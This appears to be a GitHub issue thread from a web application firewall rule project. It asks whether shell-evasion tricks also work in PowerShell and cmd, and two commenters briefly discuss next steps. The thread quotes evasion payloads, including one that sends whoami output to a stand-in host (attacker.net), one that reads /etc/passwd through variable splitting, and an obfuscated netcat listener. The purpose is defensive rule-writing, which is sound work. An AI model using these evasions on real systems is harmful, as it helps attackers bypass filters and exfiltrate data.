Check aliasing / empty variable evasions in PowerShell / cmd

In https://github.com/coreruleset/coreruleset/issues/2632 we investigated evasions in *nix shells, where an empty variable can be used to evade command word detection. Find out, whether the same vulnerabilities exist in PowerShell / cmd and add protections as in https://github.com/coreruleset/coreruleset/issues/2632.

AFAICT from a quick test, PowerShell is not vulnerable to ec${doesnotexist}ho.

Examples from https://github.com/coreruleset/coreruleset/issues/2632:

• using variables 1: a=curl&&b=whoami&&$a http://attacker.net/$b
• using variables 2: a=/etc&&b=/passwd&&c=cat&&$c $a$b
• globbing 1: {n$u\c$u,-nlvp,777}
• globbing 2: garb=cur[l];$garb+google.com
• vars + spacing: v=‘u’;cu$v\r\l google.com
• non-existing vars: cu$@rl

[theseion]

Yes. I just did a quick and dirty check, not a real review.

[fzipi]

Hey @theseion ,what is needed here then? Review the expansions to the unix cmdline to see if we use the same for powershell?